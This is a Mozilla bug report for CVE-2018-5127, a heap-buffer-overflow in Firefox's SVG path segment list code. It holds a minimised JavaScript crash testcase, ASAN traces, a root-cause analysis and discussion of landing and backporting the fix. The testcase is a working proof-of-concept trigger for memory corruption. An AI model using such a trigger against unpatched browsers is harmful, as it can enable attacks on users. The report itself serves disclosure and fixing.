1430557 - (CVE-2018-5127) heap-buffer-overflow in DOMSVGPathSegCurvetoCubicAbs

Status: VERIFIED FIXED

(Core :: SVG, defect)

Description

[Nils]

Attachment: crash.html (minimised testcase)

The following testcase crashes the latest ASAN build of Firefox 59.0a1 (SourceStamp=21ddfb9e6cc008e47da89db50e22697dc7b38635).

<script>
        o1035=document.createElementNS('http://www.w3.org/2000/svg','path');
        o1035.setAttribute('d','M 19 786434 C 7077888 11, 18 98304, 10 94208 z');
        o1161=o1035.animatedPathSegList;
        o1189=o1035.createSVGPathSegLinetoVerticalRel(1);
        o1398=o1161.getItem(1);
        o1768=o1035.pathSegList;
        o1768.replaceItem(o1189,1);
        o1768.insertItemBefore(o1189,1);
        o1768.appendItem(o1398);
</script>


ASAN output:
=================================================================
==29577==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000283af4 at pc 0x0000004bdf99 bp 0x7ffd6aace280 sp 0x7ffd6aacda30
READ of size 24 at 0x606000283af4 thread T0 (file:// Content)
    #0 0x4bdf98 in __asan_memcpy /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23:3
    #1 0x7fa50b44eb55 in DOMSVGPathSegCurvetoCubicAbs /builds/worker/workspace/build/src/dom/svg/DOMSVGPathSeg.h:363:3
    #2 0x7fa50b44eb55 in mozilla::DOMSVGPathSegCurvetoCubicAbs::Clone() /builds/worker/workspace/build/src/dom/svg/DOMSVGPathSeg.h:363
    #3 0x7fa50b42d4de in mozilla::DOMSVGPathSegList::InsertItemBefore(mozilla::DOMSVGPathSeg&, unsigned int, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/svg/DOMSVGPathSegList.cpp:372:24
    #4 0x7fa508e5fc9a in AppendItem /builds/worker/workspace/build/src/dom/svg/DOMSVGPathSegList.h:160:12
    #5 0x7fa508e5fc9a in mozilla::dom::SVGPathSegListBinding::appendItem(JSContext*, JS::Handle<JSObject*>, mozilla::DOMSVGPathSegList*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/SVGPathSegListBinding.cpp:348
    #6 0x7fa509f594f7 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3036:13
    #7 0x7fa510992d24 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15
    #8 0x7fa510992d24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473
    #9 0x7fa51097dd56 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:528:12
    #10 0x7fa51097dd56 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3096
    #11 0x7fa510964700 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12
    #12 0x7fa510995cc1 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:706:15
    #13 0x7fa51099645f in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:738:12
    #14 0x7fa51148f1e6 in ExecuteScript(JSContext*, JS::AutoObjectVector&, JS::Handle<JSScript*>, JS::Value*) /builds/worker/workspace/build/src/js/src/jsapi.cpp:4712:12
    #15 0x7fa508077846 in nsJSUtils::ExecutionContext::CompileAndExec(JS::CompileOptions&, JS::SourceBufferHolder&, JS::MutableHandle<JSScript*>) /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:266:8
    #16 0x7fa50be7caad in mozilla::dom::ScriptLoader::EvaluateScript(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2268:25
    #17 0x7fa50be76d39 in mozilla::dom::ScriptLoader::ProcessRequest(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1911:10
    #18 0x7fa50be740a3 in mozilla::dom::ScriptLoader::ProcessInlineScript(nsIScriptElement*, mozilla::dom::ScriptKind) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1555:10
    #19 0x7fa50be589fe in mozilla::dom::ScriptLoader::ProcessScriptElement(nsIScriptElement*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1293:10
    #20 0x7fa50be57b19 in mozilla::dom::ScriptElement::MaybeProcessScript() /builds/worker/workspace/build/src/dom/script/ScriptElement.cpp:147:18
    #21 0x7fa506e9a84b in AttemptToExecute /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIScriptElement.h:246:18
    #22 0x7fa506e9a84b in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:736
    #23 0x7fa506e93ab4 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:540:7
    #24 0x7fa506ea013b in nsHtml5ExecutorFlusher::Run() /builds/worker/workspace/build/src/parser/html/nsHtml5StreamParser.cpp:131:20
    #25 0x7fa504dce710 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:395:25
    #26 0x7fa504df670d in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1040:14
    #27 0x7fa504e114e0 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:517:10
    #28 0x7fa505c9c63a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
    #29 0x7fa505bf3f29 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #30 0x7fa505bf3f29 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #31 0x7fa505bf3f29 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #32 0x7fa50c0092ea in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27
    #33 0x7fa5106bc1cb in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:874:22
    #34 0x7fa505bf3f29 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #35 0x7fa505bf3f29 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #36 0x7fa505bf3f29 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #37 0x7fa5106bbbb1 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:700:34
    #38 0x4ee915 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30
    #39 0x4ee915 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280
    #40 0x7fa523c1482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #41 0x41dfe8 in _start (/fuzzer3/firefox/firefox+0x41dfe8)

0x606000283af4 is located 0 bytes to the right of 52-byte region [0x606000283ac0,0x606000283af4)
allocated by thread T0 (file:// Content) here:
    #0 0x4bed33 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
    #1 0x7fa504d623c8 in Malloc /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:196:46
    #2 0x7fa504d623c8 in nsTArrayFallibleAllocator::ResultTypeProxy nsTArray_base<nsTArrayFallibleAllocator, nsTArray_CopyWithMemutils>::EnsureCapacity<nsTArrayFallibleAllocator>(unsigned long, unsigned long) /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray-inl.h:136
    #3 0x7fa50938b2c7 in float* nsTArray_Impl<float, nsTArrayFallibleAllocator>::ReplaceElementsAt<float, nsTArrayFallibleAllocator>(unsigned long, unsigned long, float const*, unsigned long) /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:2025:47
    #4 0x7fa50b4c0c43 in Assign<nsTArrayFallibleAllocator, nsTArrayFallibleAllocator> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:1252:9
    #5 0x7fa50b4c0c43 in Assign<nsTArrayFallibleAllocator> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:1261
    #6 0x7fa50b4c0c43 in mozilla::SVGPathData::CopyFrom(mozilla::SVGPathData const&) /builds/worker/workspace/build/src/dom/svg/SVGPathData.cpp:37
    #7 0x7fa50b45d9ed in mozilla::SVGAnimatedPathSegList::SetBaseValueString(nsTSubstring<char16_t> const&) /builds/worker/workspace/build/src/dom/svg/SVGAnimatedPathSegList.cpp:57:27
    #8 0x7fa50b52b296 in nsSVGElement::ParseAttribute(int, nsAtom*, nsTSubstring<char16_t> const&, nsIPrincipal*, nsAttrValue&) /builds/worker/workspace/build/src/dom/svg/nsSVGElement.cpp:422:20
    #9 0x7fa507d3755c in mozilla::dom::Element::SetAttr(int, nsAtom*, nsAtom*, nsTSubstring<char16_t> const&, nsIPrincipal*, bool) /builds/worker/workspace/build/src/dom/base/Element.cpp:2608:8
    #10 0x7fa507d36950 in SetAttr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:894:12
    #11 0x7fa507d36950 in mozilla::dom::Element::SetAttribute(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, nsIPrincipal*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Element.cpp:1348
    #12 0x7fa50997ac88 in mozilla::dom::ElementBinding::setAttribute(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:1167:9
    #13 0x7fa509f594f7 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3036:13
    #14 0x7fa510992d24 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15
    #15 0x7fa510992d24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473
    #16 0x7fa51097dd56 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:528:12
    #17 0x7fa51097dd56 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3096
    #18 0x7fa510964700 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12
    #19 0x7fa510995cc1 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:706:15
    #20 0x7fa51099645f in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:738:12
    #21 0x7fa51148f1e6 in ExecuteScript(JSContext*, JS::AutoObjectVector&, JS::Handle<JSScript*>, JS::Value*) /builds/worker/workspace/build/src/js/src/jsapi.cpp:4712:12
    #22 0x7fa508077846 in nsJSUtils::ExecutionContext::CompileAndExec(JS::CompileOptions&, JS::SourceBufferHolder&, JS::MutableHandle<JSScript*>) /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:266:8
    #23 0x7fa50be7caad in mozilla::dom::ScriptLoader::EvaluateScript(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2268:25
    #24 0x7fa50be76d39 in mozilla::dom::ScriptLoader::ProcessRequest(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1911:10
    #25 0x7fa50be740a3 in mozilla::dom::ScriptLoader::ProcessInlineScript(nsIScriptElement*, mozilla::dom::ScriptKind) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1555:10
    #26 0x7fa50be589fe in mozilla::dom::ScriptLoader::ProcessScriptElement(nsIScriptElement*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1293:10
    #27 0x7fa50be57b19 in mozilla::dom::ScriptElement::MaybeProcessScript() /builds/worker/workspace/build/src/dom/script/ScriptElement.cpp:147:18
    #28 0x7fa506e9a84b in AttemptToExecute /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIScriptElement.h:246:18
    #29 0x7fa506e9a84b in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:736
    #30 0x7fa506e93ab4 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:540:7
    #31 0x7fa506ea013b in nsHtml5ExecutorFlusher::Run() /builds/worker/workspace/build/src/parser/html/nsHtml5StreamParser.cpp:131:20
    #32 0x7fa504dce710 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:395:25
    #33 0x7fa504df670d in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1040:14
    #34 0x7fa504e114e0 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:517:10
    #35 0x7fa505c9c63a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
    #36 0x7fa505bf3f29 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #37 0x7fa505bf3f29 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #38 0x7fa505bf3f29 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299

SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23:3 in __asan_memcpy
Shadow bytes around the buggy address:
  0x0c0c80048700: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x0c0c80048710: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
  0x0c0c80048720: 00 00 00 00 fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c0c80048730: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x0c0c80048740: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd
=>0x0c0c80048750: fd fd fd fd fa fa fa fa 00 00 00 00 00 00[04]fa
  0x0c0c80048760: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x0c0c80048770: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
  0x0c0c80048780: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c0c80048790: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
  0x0c0c800487a0: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==29577==ABORTING

Comment 1

[Nils]

Attachment: ASAN output

Comment 2

[Andrew McCreight [:mccr8]]

Jonathan, is this something you could investigate? Thanks.

Comment 3

[Jonathan Watt [:jwatt]]

To make the example easier to refer to, here it is with the variables given meaningful names:

        path = document.createElementNS("http://www.w3.org/2000/svg", "path");
        path.setAttribute("d", "M 19 786434 C 7077888 11, 18 98304, 10 94208 z");

        baseList = path.pathSegList;
        animList = path.animatedPathSegList;

        line = path.createSVGPathSegLinetoVerticalRel(1);
        curve = animList.getItem(1);

        baseList.replaceItem(line, 1);      // not owned - no clone
        baseList.insertItemBefore(line, 1); // owned - clones
        baseList.appendItem(curve);         // owned - clones

When we obtain 'curve', that DOM tearoff segment stores an index into the internal path seg list.

When the replaceItem call inserts the new line segment it updates the internal index of any tearoff objects from the *BASE VAL* (pathSegList) list. However, that internal list is shared by both base val and anim val tearoffs when no animation is occurring, and nowhere do we attempt to update the index into the internal path seg list in any *ANIM VAL* tearoffs. As a result, the insertItemBefore call leaves the 'curve' tearoff referring to an invalid internal index.

When we then access 'curve' under the appendItem call (trying to clone it) we then look at an invalid offset into the internal list, assume incorrectly the first float at that index in the list is a segment type identifier. That is incorrect since we have a bad index. Nevertheless we convert the float that we find to an uint32_t and pass that to SVGPathSegUtils::ArgCountForType. That function indexes into a table using that value without bounds checking it, and returns a uint32_t value from some point in the table or off the end of the table. That return value is then used to decide how many bytes of memory to memcpy in the CurvetoCubicAbs ctor.

I'm going to fix this by fixing bug 1388931 - i.e. removing all this path segment DOM code.

Comment 5

[Robert Longson [:longsonr]]

Is it possible to get the same bug with transforms if we muck about with them in the same way? Or in fact any of our list types?

Comment 6

[Jonathan Watt [:jwatt]]

Yes, checking transform, length and number list (and possibly string list) is on my todo list for this bug.

Comment 7

[Julien Cristau [:jcristau]]

We're about to build 58 rc2, too late for that release.

Comment 8

[Liz Henry (:lizzard) (relman/hg->git project)]

Tracking for 59/60. We could still get a fix into 59 beta.

Comment 9

[Jonathan Watt [:jwatt]]

(In reply to Jonathan Watt [:jwatt] (needinfo? me) from comment #6)
> Yes, checking transform, length and number list (and possibly string list)
> is on my todo list for this bug.

Transform, point, length and number list do not suffer from this bug since they don't need to keep track of a separate index into an internal list (the index of DOM tearoffs is the same as the internal index). (They don't use a ItemProxy instance.) String list doesn't suffer from the bug since it isn't animated.

Comment 10

[Jonathan Watt [:jwatt]]

(In reply to Jonathan Watt [:jwatt] (needinfo? me) from comment #3)
> I'm going to fix this by fixing bug 1388931 - i.e. removing all this path
> segment DOM code.

Turns out that's not so simple. We may still do that, but there are trade-offs to weigh up. In the meantime I'll attach a fix this specific bug in DOMSVGPathSegList as an alternative fix.

Comment 11

[Jonathan Watt [:jwatt]]

Attachment: patch - one approach to fixing this

Robert, do you mind checking this over? I've double checked that this fixes both the testcase for this bug, and the bug that I marked as a dup.

Comment 12

[Robert Longson [:longsonr]]

Comment on attachment 8948676 [details] [diff] [review]
patch - one approach to fixing this

LGTM

Comment 13

[Jonathan Watt [:jwatt]]

I landed the patches in bug 1436438 in favor of the patch here. That removes the ability of JavaScript code to create and mutate SVGPathSegList data, essentially making this risky code inaccessible from JS. (It leaves the immutable parts of the API that gives convenient access to SVG path data in place.)

Comment 14

[Jonathan Watt [:jwatt]]

Renominating for 58 in case we chemspill.

Comment 15

[Jonathan Watt [:jwatt]]

Approval to uplift the commits that landed in bug 1436438 would be required.

Comment 16

[Ryan VanderMeulen [:RyanVM]]

That sounds scary for ESR52?

Comment 17

[Jonathan Watt [:jwatt]]

Specifically, taking in a 58 chemspill would be scary? Because ESR would not be getting patched at the same time?

We have to patch ESR at some point. Would taking in a 58 chemspill leave ESR exposed for longer than normal? (I don't know the timings.)

It may be worth noting that the patches in bug 1436438 are not flagged as being sec related, so taking them in an uplift may not flag the issue *quite* as much as normal? I guess anyone who's watching patch releases to Release builds for sec issues might be considering all patches that are taken as worth looking at though...

Comment 18

[Julien Cristau [:jcristau]]

chemspills don't normally include ride alongs (to reduce risk), and we also don't normally take security fixes in regular (non-chemspill) dot releases since that would require an ESR dot release at the same time.

Comment 19

[Jonathan Watt [:jwatt]]

Attachment: Dummy patch for patches on cover bug 1436438

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Unknown.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
Right now the cover bug is just "let's partially remove some API that other implementations already removed". If we were to draw attention to it by landing on ESR, for example, I imagine people with fuzzers could figure out the misbehavior reasonably quickly, as long as they think to fuzz both the baseVal and animVal together.

Which older supported branches are affected by this flaw?
Everything.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Easy.

How likely is this patch to cause regressions; how much testing does it need?
It will break a small amount of content since we're removing API. We're going to do that anyway though when we remove this API.


If we need to land this on beta then possibly we can uplift the cover bug's patches with some pretext without drawing attention. If we have to fix this in ESR then that's obviously not the case. Please detail how and when this should land.

Comment 20

[Daniel Veditz [:dveditz]]

What do we do about ESR? We can't just rip out an entire API set and uphold the concept of what the ESR is. Comment 11 and the patch in this bug sound like a promising start to dealing with it there -- does that work?

Comment 21

[Al Billings [:abillings - ex-MoCo]]

The patch in bug 1436438 is a rather big change to go into ESR52, as Dan says. I think we should either do nothing on ESR52 or follow Dan's suggestion of the patch here, if it would work for ESR.

As to sec-approval for trunk, since bug 1436438 went into trunk already, that would be kind of after the fact. The real question is taking it on Beta, which I am inclined to do. Can we get a beta nomination either here or there? It might make sense to do it here so if there are questions, they can be answered within the security bug.

Comment 22

[Jonathan Watt [:jwatt]]

(In reply to Daniel Veditz [:dveditz] from comment #20)
> What do we do about ESR? We can't just rip out an entire API set and uphold
> the concept of what the ESR is.

chromestatus.com used to show the stats for this, and it was something like 1 in 10 million page loads were using the API if I remember correctly. It no longer gives the stats though, now just says the API was removed:

https://www.chromestatus.com/features/5708851034718208 

If the very low usage of the API can't be taken into consideration for ESR then I guess we have to go with the patch on this bug.

> Comment 11 and the patch in this bug sound
> like a promising start to dealing with it there -- does that work?

It works, in the sense that it fixes the two testcases attached to this bug and its duplicate, and I believe the issue should be fixed. But this code is fragile and difficult to reason about for all the edge cases. There is some risk that there could be other bugs like this one remaining which is why I've leaned heavily towards removing the API (which needs to be removed anyway).

Comment 23

[Jonathan Watt [:jwatt]]

Comment on attachment 8950401 [details]
Dummy patch for patches on cover bug 1436438

Approval Request Comment
[Feature/Bug causing the regression]: ancient history
[User impact if declined]: sec bug
[Is this code covered by automated tests?]: yes
[Has the fix been verified in Nightly?]: yes
[Needs manual test from QE? If yes, steps to reproduce]: no
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: low
[Why is the change risky/not risky?]: removes very rarely used API that has already been removed from other browsers
[String changes made/needed]: none

Comment 24

[Jonathan Watt [:jwatt]]

Comment on attachment 8948676 [details] [diff] [review]
patch - one approach to fixing this

[Approval Request Comment]
Fix Landed on Version: this is a fix for ESR only
Risk to taking this patch (and alternatives if risky): low. edge case of very rarely used SVG API not implemented by other browsers. passes our regression tests. not landed on other branches though. changes clearly wrong (sec/crash) behavior to be correct.
String or UUID changes made by this patch: none

Comment 25

[Liz Henry (:lizzard) (relman/hg->git project)]

Comment on attachment 8950401 [details]
Dummy patch for patches on cover bug 1436438

Sounds like this is rarely used but still a security risk. 
Let's uplift the patch in bug 1436438 for 59 beta 11.

Comment 26

[Liz Henry (:lizzard) (relman/hg->git project)]

jwatt, in bug 1436438, would you also be removing the tests (i.e. uplifting the first patch?)

Comment 27

[Jonathan Watt [:jwatt]]

Liz: yes, the tests that test the removed API would need to be removed themselves, otherwise the tree would go orange.

Comment 28

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Patches in bug 1436438 got uplifted.

Comment 29

[Liz Henry (:lizzard) (relman/hg->git project)]

Comment on attachment 8948676 [details] [diff] [review]
patch - one approach to fixing this

Let's take the smaller patch for esr too. Should end up in 52.7.0esr.

Comment 30

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr52/rev/2c4d7a59041b

Comment 31

[Ciprian Georgiu, Desktop QA]

Reproduced this tab crash using an affected Nightly 59.0a1 ASAN build (2018-01-15) and running the test case from comment 0.

This is verified fixed on the latest ASAN builds: 59.0b14 (20180303190036), 60.0a1 (2018-03-05) and 52.7.0 esr (20180304210040) under Ubuntu 16.04 x64.